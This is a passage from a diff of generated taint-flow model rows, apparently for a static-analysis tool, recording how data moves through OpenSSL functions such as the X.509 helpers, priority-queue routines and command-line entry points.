"Argument[*0].Field[**cert].Field[*custext]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_tls_handle_rlayer_return", "(SSL_CONNECTION *,int,int,char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_tls_rl_record_set_seq_num", "(TLS_RL_RECORD *,const unsigned char *)", "", "Argument[*1]", "Argument[*0].Field[*seq_num]", "value", "dfc-generated"] + - ["", "", True, "ossl_tls_rl_record_set_seq_num", "(TLS_RL_RECORD *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*seq_num]", "taint", "dfc-generated"] + - ["", "", True, "ossl_to_hex", "(char *,uint8_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_to_hex", "(char *,uint8_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_tolower", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_toupper", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_v3_name_cmp", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_v3_name_cmp", "(const char *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_v3_name_cmp", "(const char *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_v3_name_cmp", "(const char *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519", "(uint8_t[32],const uint8_t[32],const uint8_t[32])", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519", "(uint8_t[32],const uint8_t[32],const uint8_t[32])", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519", "(uint8_t[32],const uint8_t[32],const uint8_t[32])", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519", "(uint8_t[32],const uint8_t[32],const uint8_t[32])", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519_public_from_private", "(uint8_t[32],const uint8_t[32])", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x25519_public_from_private", "(uint8_t[32],const uint8_t[32])", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[*2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448_int", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448_int", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448_int", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x448_int", "(uint8_t[56],const uint8_t[56],const uint8_t[56])", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_PUBKEY_get0_libctx", "(OSSL_LIB_CTX **,const char **,const X509_PUBKEY *)", "", "Argument[*2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_x509_PUBKEY_get0_libctx", "(OSSL_LIB_CTX **,const char **,const X509_PUBKEY *)", "", "Argument[*2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ossl_x509_PUBKEY_get0_libctx", "(OSSL_LIB_CTX **,const char **,const X509_PUBKEY *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_x509_PUBKEY_get0_libctx", "(OSSL_LIB_CTX **,const char **,const X509_PUBKEY *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_x509_add_cert_new", "(stack_st_X509 **,X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_add_cert_new", "(stack_st_X509 **,X509 *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_add_cert_new", "(stack_st_X509 **,X509 *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_add_certs_new", "(stack_st_X509 **,stack_st_X509 *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_algor_md_to_mgf1", "(X509_ALGOR **,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_algor_md_to_mgf1", "(X509_ALGOR **,const EVP_MD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_algor_md_to_mgf1", "(X509_ALGOR **,const EVP_MD *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_algor_new_from_md", "(X509_ALGOR **,const EVP_MD *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_x509_check_cert_time", "(X509_STORE_CTX *,X509 *,int)", "", "Argument[*1]", "Argument[*0].Field[**current_cert]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_check_cert_time", "(X509_STORE_CTX *,X509 *,int)", "", "Argument[1]", "Argument[*0].Field[*current_cert]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_check_cert_time", "(X509_STORE_CTX *,X509 *,int)", "", "Argument[2]", "Argument[*0].Field[*current_cert]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_check_cert_time", "(X509_STORE_CTX *,X509 *,int)", "", "Argument[2]", "Argument[*0].Field[*error_depth]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_crl_set0_libctx", "(X509_CRL *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_crl_set0_libctx", "(X509_CRL *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_crl_set0_libctx", "(X509_CRL *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_crl_set0_libctx", "(X509_CRL *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_likely_issued", "(X509 *,X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ossl_x509_likely_issued", "(X509 *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_print_ex_brief", "(BIO *,X509 *,unsigned long)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_print_ex_brief", "(BIO *,X509 *,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_req_set0_libctx", "(X509_REQ *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_req_set0_libctx", "(X509_REQ *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_req_set0_libctx", "(X509_REQ *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_req_set0_libctx", "(X509_REQ *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_set0_libctx", "(X509 *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_set0_libctx", "(X509 *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_set0_libctx", "(X509 *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_x509_set0_libctx", "(X509 *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_set1_time", "(int *,ASN1_TIME **,const ASN1_TIME *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_set1_time", "(int *,ASN1_TIME **,const ASN1_TIME *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ossl_x509_set1_time", "(int *,ASN1_TIME **,const ASN1_TIME *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509_set1_time", "(int *,ASN1_TIME **,const ASN1_TIME *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_x509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ossl_x509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr", "(stack_st_X509_ATTRIBUTE **,const X509_ATTRIBUTE *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_NID", "(stack_st_X509_ATTRIBUTE **,int,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_OBJ", "(stack_st_X509_ATTRIBUTE **,const ASN1_OBJECT *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_add1_attr_by_txt", "(stack_st_X509_ATTRIBUTE **,const char *,int,const unsigned char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_x509at_dup", "(const stack_st_X509_ATTRIBUTE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_x509v3_cache_extensions", "(X509 *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "parse_ca_names", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "parse_yesno", "(const char *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "passwd_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "passwd_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "passwd_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "pitem_new", "(unsigned char *,void *)", "", "Argument[**1]", "ReturnValue[*].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "pitem_new", "(unsigned char *,void *)", "", "Argument[*0]", "ReturnValue[*].Field[*priority]", "value", "dfc-generated"] + - ["", "", True, "pitem_new", "(unsigned char *,void *)", "", "Argument[*1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "pitem_new", "(unsigned char *,void *)", "", "Argument[0]", "ReturnValue[*].Field[*priority]", "taint", "dfc-generated"] + - ["", "", True, "pitem_new", "(unsigned char *,void *)", "", "Argument[1]", "ReturnValue[*].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "pkcs12_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkcs12_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pkcs7_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkcs7_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pkcs8_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkcs8_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id_name]", "value", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[***dist_id]", "taint", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id]", "taint", "dfc-generated"] + - ["", "", True, "pkey_ctrl_string", "(EVP_PKEY_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*cached_parameters].Field[**dist_id_name]", "taint", "dfc-generated"] + - ["", "", True, "pkey_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkey_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pkeyparam_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkeyparam_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pkeyutl_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "pkeyutl_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "pqueue_find", "(pqueue *,unsigned char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "pqueue_find", "(pqueue *,unsigned char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "pqueue_insert", "(pqueue *,pitem *)", "", "Argument[*1]", "Argument[*0].Field[**items]", "value", "dfc-generated"] + - ["", "", True, "pqueue_insert", "(pqueue *,pitem *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "pqueue_insert", "(pqueue *,pitem *)", "", "Argument[1]", "Argument[*0].Field[*items]", "value", "dfc-generated"] + - ["", "", True, "pqueue_insert", "(pqueue *,pitem *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "pqueue_iterator", "(pqueue *)", "", "Argument[*0].Field[**items]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "pqueue_iterator", "(pqueue *)", "", "Argument[*0].Field[*items]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "pqueue_next", "(piterator *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "pqueue_next", "(piterator *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "pqueue_next", "(piterator *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "pqueue_next", "(piterator *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "pqueue_peek", "(pqueue *)", "", "Argument[*0].Field[**items]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "pqueue_peek", "(pqueue *)", "", "Argument[*0].Field[*items]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "pqueue_pop", "(pqueue *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "pqueue_pop", "(pqueue *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "prime_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "prime_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "prime_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "prime_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "print_bignum_var", "(BIO *,const BIGNUM *,const char *,int,unsigned char *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "print_param_types", "(const char *,const OSSL_PARAM *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "print_verify_detail", "(SSL *,BIO *)", "", "Argument[*0].Field[**tls].Field[**param]", "Argument[*0].Field[**param]", "value", "dfc-generated"] + - ["", "", True, "process_responder", "(OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "rand_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "rand_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "rand_serial", "(BIGNUM *,ASN1_INTEGER *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "rehash_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "rehash_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "rehash_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "rehash_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "req_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "req_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "req_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ripemd160_block_data_order", "(RIPEMD160_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ripemd160_block_data_order", "(RIPEMD160_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "rsa_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "rsa_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "rsautl_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "rsautl_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "s2i_ASN1_IA5STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "s2i_ASN1_IA5STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "s2i_ASN1_UTF8STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "s2i_ASN1_UTF8STRING", "(X509V3_EXT_METHOD *,X509V3_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "s_client_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "s_client_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "s_time_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "s_time_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "save_serial", "(const char *,const char *,const BIGNUM *,ASN1_INTEGER **)", "", "Argument[*2]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "sess_id_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "sess_id_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "set_cert_ex", "(unsigned long *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "set_cert_key_stuff", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "set_cert_key_stuff", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*3]", "Argument[*0].Field[**msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "set_cert_key_stuff", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[3]", "Argument[*0].Field[*msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "set_cert_stuff", "(SSL_CTX *,char *,char *)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "set_name_ex", "(unsigned long *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "set_up_srp_arg", "(SSL_CTX *,SRP_ARG *,int,int,int)", "", "Argument[3]", "Argument[*1].Field[*msg]", "value", "dfc-generated"] + - ["", "", True, "set_up_srp_arg", "(SSL_CTX *,SRP_ARG *,int,int,int)", "", "Argument[4]", "Argument[*1].Field[*debug]", "value", "dfc-generated"] + - ["", "", True, "set_up_srp_verifier_file", "(SSL_CTX *,srpsrvparm *,char *,char *)", "", "Argument[*2]", "Argument[*1].Field[**vb].Field[**seed_key]", "value", "dfc-generated"] + - ["", "", True, "set_up_srp_verifier_file", "(SSL_CTX *,srpsrvparm *,char *,char *)", "", "Argument[2]", "Argument[*1].Field[**vb].Field[**seed_key]", "taint", "dfc-generated"] + - ["", "", True, "skeyutl_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "skeyutl_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "smime_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "speed_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "spkac_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "spkac_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "srp_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "srp_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "srp_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "srp_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_callback_ctrl", "(SSL *,int,..(*)(..))", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[*0]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[*2]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ssl3_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int 